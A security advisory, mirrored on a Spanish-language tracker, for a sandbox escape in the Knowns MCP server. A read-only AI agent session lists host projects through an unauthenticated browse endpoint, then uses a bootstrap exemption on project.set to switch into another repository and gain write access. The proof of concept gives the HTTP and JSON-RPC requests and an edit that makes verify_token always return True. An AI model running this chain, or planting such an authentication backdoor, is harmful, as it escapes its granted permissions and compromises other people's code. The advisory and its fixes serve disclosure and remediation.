GHSA-H73X-698R-QRVG
Multi-Stage Workspace Context Escalation & Sandbox Escape via Bootstrap Gate Bypass and Unbounded Directory Enumeration
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-H73X-698R-QRVG divulgada · CVSS 9.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 0.34.0 | knowns · 13 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Overview
Verified. A two-primitive exploit chain in Knowns allows a low-privilege AI agent operating under a sandboxed `PresetReadOnly` session to escape its designated project root, escalate to `CapAdmin`, and assume full read/write/code-mutation access over arbitrary target repositories on the host filesystem.
The chain links an unauthenticated directory enumeration endpoint (`GET /api/workspaces/browse`) that discloses valid Knowns project roots anywhere on the host, with a statically hardcoded bootstrap gate bypass in `NewGuardMiddleware` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L25-L64 (`internal/permissions/guard.go:25-64` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L25-L64) that unconditionally exempts `project.set` from capability enforcement regardless of session state. Because the bootstrap exemption carries no precondition check on whether a store is already initialized, an already-constrained agent calls `project.set` without touching the capability gate, swaps `s.store` and `s.root` to an arbitrary target, and immediately inherits that target's permission policy - which defaults to `PresetReadWriteNoDelete`, granting write, generate, archive, and code-mutation access.
The exploit requires no race condition, no privileged account, and no user interaction. It executes deterministically over HTTP and MCP from any network-reachable low-privilege session.
Affected Paths
| File Path | Role | Vulnerability & Execution Impact |
| :--- | :--- | :--- |
| `internal/server/routes/workspace.go:41-110` https://github.com/knowns-dev/knowns/tree/main/internal/server/routes/workspace.go#L41-L110 | Directory Enumeration Endpoint | `browse()` https://github.com/knowns-dev/knowns/tree/main/internal/server/routes/workspace.go#L41-L110 - Unbounded host filesystem traversal (CWE-22): `os.ReadDir(filepath.Abs(dir))` accepts arbitrary `?path=` values with no allowlist or root-containment check. Returns absolute host paths with `isProject: true` markers, disclosing the location of any valid Knowns project on the host. |
| `internal/permissions/guard.go:25-64` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L25-L64 | Permission Enforcement Middleware | `NewGuardMiddleware()` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L25-L64 - Bootstrap exemption without state precondition (CWE-863): `isBootstrapAction(toolName, action)` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L107-L113 at line 34 returns `true` for `project.set` regardless of whether an active store is already initialized, bypassing `CheckCapability` unconditionally. |
| `internal/permissions/guard.go:107-113` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L107-L113 | Bootstrap Action Classifier | `isBootstrapAction()` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L107-L113 - Static allowlist, no state guard: Hardcodes `project.set`, `project.detect`, `project.current`, `project.status` as always-exempt. No check against `getStore() == nil`. |
| `internal/permissions/registry.go:53` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/registry.go#L53 | Capability Registry | `project.set` classified as `CapAdmin / RiskMedium`: All standard presets (including `PresetReadOnly`, `PresetReadWrite`, `PresetReadWriteNoDelete`, `PresetGenerateDryRun`) explicitly deny `CapAdmin`. The bootstrap exemption is the only path past this denial. |
| `internal/mcp/handlers/project.go:186-213` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/handlers/project.go#L186-L213 | Project Switch Handler | `handleProjectSet()` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/handlers/project.go#L186-L213 - Accepts arbitrary `projectRoot`, no containment check: Validates `.knowns/config.json` existence only. Passes the caller-supplied path directly to `setStore()` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L245-L269. |
| `internal/mcp/server.go:245-269` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L245-L269 | Active Context State | `setStore()` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L245-L269 - Atomic store and root swap under mutex: Replaces `s.store`, `s.root`, and `s.lspManager` in a single lock acquisition. All subsequent tool calls operate against the new root and its policy. |
| `internal/mcp/server.go:322-332` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L322-L332 | Permission Config Loader | `permConfigLoader()` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L322-L332 - Dynamic policy reload on every call: Reads `cfg.Settings.Permissions` from the current `s.store` on each MCP tool invocation. A store swap immediately changes the active policy for the entire session. |
Root Cause
The bootstrap exemption in `internal/permissions/guard.go:34-36` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L34-L36 was designed to allow `project.set` during the initial server startup window when no store exists and the permission system cannot yet load its config. This is architecturally valid for startup. The flaw is that `isBootstrapAction` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L107-L113 carries no runtime state precondition - it returns `true` regardless of whether `s.store` is `nil` or fully initialized. A session already constrained by `PresetReadOnly` can therefore invoke `project.set` at any time without the call touching `CheckCapability`.
Flaw A - Bootstrap Exemption Without State Guard (`guard.go:34-36`)
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/permissions/guard.go#L32-L36
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/permissions/guard.go#L107
`project.set` is classified in `internal/permissions/registry.go:53` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/registry.go#L53 as `CapAdmin / TargetRuntime / RiskMedium`. Every standard permission preset denies `CapAdmin`:
- `PresetReadOnly` (`policy.go:50-62`): `CapAdmin: true` in `Denied`
- `PresetReadWrite` (`policy.go:63-76`): `CapAdmin: true` in `Denied`
- `PresetReadWriteNoDelete` (`policy.go:77-89`): `CapAdmin: true` in `Denied`
- `PresetGenerateDryRun` (`policy.go:90-104`): `CapAdmin: true` in `Denied`
Because `isBootstrapAction` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L107-L113 short-circuits before `CheckCapability` is ever reached, the denial in every preset is never evaluated.
Flaw B - Unbounded Directory Enumeration (`workspace.go:41-110`)
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/server/routes/workspace.go#L41-L62
`internal/server/routes/workspace.go:80-86` https://github.com/knowns-dev/knowns/tree/main/internal/server/routes/workspace.go#L80-L86 (project detection logic):
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/server/routes/workspace.go#L80-L86
No allowlist, no root containment, no authentication check on the `?path=` parameter. The endpoint walks arbitrary host directories and returns absolute paths annotated with `isProject: true` wherever a `.knowns/config.json` is found. An agent with only HTTP access to port 4141 can enumerate the entire host filesystem for valid switch targets.
Flaw C - Dynamic Policy Swap via `setStore` + `permConfigLoader` (`server.go:245-332`)
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/mcp/server.go#L245-L250
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/mcp/server.go#L322-L332
`permConfigLoader` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L322-L332 is closed over `getStore()`, which always reads the live `s.store` under a read lock. The moment `setStore` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L245-L269 completes, every subsequent MCP call evaluates permissions against the target repository's config. If the target has no explicit `permissions` config (the common case), `EffectivePolicy` falls back to `DefaultPreset` = `PresetReadWriteNoDelete`, granting `CapRead`, `CapWrite`, `CapGenerate`, and `CapArchive` - and access to `code.replace` / `code.insert` / `code.rename` (`RiskHigh` write operations).
Attack Phases
| Phase | Step | Effect |
| :--- | :--- | :--- |
| 1. Enumerate | `GET /api/workspaces/browse?path=/home/victim/projects` | Response discloses `{"path": "/home/victim/projects/financial-services-backend", "isProject": true}` |
| 2. Escalate | MCP tool call: `project` / `action: set` / `projectRoot: /home/victim/projects/financial-services-backend` | `isBootstrapAction("project","set")` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L107-L113 returns `true`. `CheckCapability` is never called. `handleProjectSet` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/handlers/project.go#L186-L213 validates `.knowns/` presence and calls `setStore()` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L245-L269. |
| 3. Swap | `setStore()` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L245-L269 atomically replaces `s.store`, `s.root`, `s.lspManager` | Session now operates in target repository under target's policy (defaults to `PresetReadWriteNoDelete`) |
| 4. Mutate | `code` / `action: replace` targeting `auth/tokens.py` | `ensureCodeMutationPath` checks containment against `s.root` = `/home/victim/projects/financial-services-backend`. Code edit proceeds. |
Proof of Concept
Phase 1 - Target Discovery
GET /api/workspaces/browse?path=/home/victim/projects HTTP/1.1
Host: 127.0.0.1:4141Response:
[
{
"name": "financial-services-backend",
"path": "/home/victim/projects/financial-services-backend",
"isProject": true,
"hasChildren": true
}
]Phase 2 - Context Escalation via Bootstrap Bypass
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "project",
"arguments": {
"action": "set",
"projectRoot": "/home/victim/projects/financial-services-backend"
}
}
}Execution trace:
- `NewGuardMiddleware`
https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L25-L64intercepts the call. - `isBootstrapAction("project", "set")`
https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go#L107-L113evaluates to `true` at `guard.go:34`. - `CheckCapability` is never reached. `CapAdmin` denial in the active preset is never evaluated.
- `handleProjectSet`
https://github.com/knowns-dev/knowns/tree/main/internal/mcp/handlers/project.go#L186-L213validates `.knowns/config.json` in the target path. - `setStore()`
https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L245-L269acquires the write lock and sets `s.store` and `s.root` to the target.
Phase 3 - Post-Escalation Code Mutation
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "code",
"arguments": {
"action": "replace",
"path": "auth/tokens.py",
"search": "def verify_token(token):\n return jwt.decode(token, SECRET_KEY)",
"replace": "def verify_token(token):\n return True"
}
}
}`ensureCodeMutationPath` verifies the path is contained within `s.root` = `/home/victim/projects/financial-services-backend`. The store swap satisfies the check. The code mutation proceeds.
Impact
- Confidentiality: Critical - Full read access across all files, tasks, documents, and memory entries in any target repository the agent discovers via `browse`.
- Integrity: Critical - Full write, code-mutation, and deletion access in target repositories after escalation. Includes `code.replace`, `code.insert`, `code.rename` - all `RiskHigh` write operations - and doc/task/memory mutation.
- Availability: High - `code.delete` and `docs.hard_delete` (`CapDelete, RiskHigh`) become reachable once the target's policy is loaded, enabling destruction of source files, task records, and documentation.
- Subsequent System Impact: High - The agent escapes the confines of its initial read-only sandbox and operates with the permissions of an arbitrary target project on the same host.
- No user interaction required - The chain executes programmatically with no victim action beyond running the Knowns MCP server.
CVSS v4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 9.4 CriticalRationale for each metric:
| Metric Group | Metric | Value | Rationale |
| :--- | :--- | :--- | :--- |
| Exploitability | Attack Vector (AV) | Network (N) | Reached over HTTP (browse endpoint) and MCP over WebSocket/SSE. No local access required. |
| | Attack Complexity (AC) | Low (L) | Deterministic two-step sequence. No race condition, no timing dependency, no brute force. |
| | Attack Requirements (AT) | None (N) | Default API posture allows both browse and MCP session connection. |
| | Privileges Required (PR) | Low (L) | Requires a valid low-privilege MCP session (e.g. `PresetReadOnly` guest agent). |
| | User Interaction (UI) | None (N) | Executes programmatically without victim action after session establishment. |
| Vulnerable System | VC (Confidentiality) | High (H) | Full read access across files, tasks, documents, and memory in the current workspace. |
| | VI (Integrity) | High (H) | Full modification of workspace tasks, docs, and code upon bypass. |
| | VA (Availability) | High (H) | Full deletion and destruction capability in target workspace. |
| Subsequent System | SC (Confidentiality) | High (H) | Full read access across arbitrary separate repositories and projects on host. |
| | SI (Integrity) | High (H) | Arbitrary code mutation in external host repositories. |
| | SA (Availability) | High (H) | Code deletion and project destruction across external host repositories. |
Remediation
Fix 1 - Gate Bootstrap Exemption on Uninitialized State (`guard.go` https://github.com/knowns-dev/knowns/tree/main/internal/permissions/guard.go)
Bootstrap exemptions must only apply when no active store exists. Once a session has an initialized store, `project.set` is an administrative context-switch and must pass through `CheckCapability`:
--- a/internal/permissions/guard.go
+++ b/internal/permissions/guard.go
@@ -25,7 +25,7 @@ func NewGuardMiddleware(configLoader ConfigLoader) server.ToolHandlerMiddleware {
-func NewGuardMiddleware(configLoader ConfigLoader) server.ToolHandlerMiddleware {
+func NewGuardMiddleware(configLoader ConfigLoader, isStoreInitialized func() bool) server.ToolHandlerMiddleware {
return func(next server.ToolHandlerFunc) server.ToolHandlerFunc {
return func(ctx context.Context, req gomcp.CallToolRequest) (*gomcp.CallToolResult, error) {
toolName := req.Params.Name
args := req.GetArguments()
action, _ := args["action"].(string)
// Bootstrap actions are only allowed when no project context is yet established.
- if isBootstrapAction(toolName, action) {
+ if isBootstrapAction(toolName, action) && !isStoreInitialized() {
return next(ctx, req)
}Pass `func() bool { return getStore() != nil }` as `isStoreInitialized` at the call site in `internal/mcp/server.go:340` https://github.com/knowns-dev/knowns/tree/main/internal/mcp/server.go#L340.
Fix 2 - Restrict `browse` to Allowlisted Workspace Roots (`workspace.go` https://github.com/knowns-dev/knowns/tree/main/internal/server/routes/workspace.go)
The `browse` endpoint must confine traversal to an explicit allowlist of authorized parent directories. Arbitrary `?path=` values must be rejected:
--- a/internal/server/routes/workspace.go
+++ b/internal/server/routes/workspace.go
@@ -52,6 +52,9 @@ func (wr *WorkspaceRoutes) browse(w http.ResponseWriter, r *http.Request) {
absDir, err := filepath.Abs(dir)
if err != nil {
respondError(w, http.StatusBadRequest, "invalid path")
return
}
+ if !wr.isAllowedBrowsePath(absDir) {
+ respondError(w, http.StatusForbidden, "path outside allowed workspace roots")
+ return
+ }Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmknowns |
Corregida | 0.34.0 | 13 d | 0.35.0 no afectada |
0.34.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/knowns-dev/knowns/security/advisories/GHSA-h73x-698r-qrvgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
